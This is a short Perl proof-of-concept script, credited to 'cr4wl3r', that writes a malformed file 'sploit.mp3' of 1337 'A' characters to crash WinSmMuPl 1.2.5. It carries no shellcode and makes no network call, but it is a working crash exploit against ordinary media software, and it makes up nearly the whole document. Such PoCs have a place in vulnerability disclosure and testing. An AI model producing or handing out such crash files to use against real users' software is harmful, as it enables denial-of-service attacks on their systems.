WinSmMuPl 1.2.5 (.mp3) Local Crash PoC

#!/usr/bin/perl
# WinSmMuPl 1.2.5 (.mp3) Local Crash PoC
#[+] Discovered By: cr4wl3r
print "#####################################################\n";
print "[!] WinSmMuPl 1.2.5 (.mp3) Local Crash PoC\n";
print "\n";
print "[!] By: cr4wl3r\n";
print "#####################################################\n";
my $boom = "A" x 1337;
my $filename = "sploit.mp3";
open (FILE,">$filename");
print FILE "$boom";
print "\nDone!\n";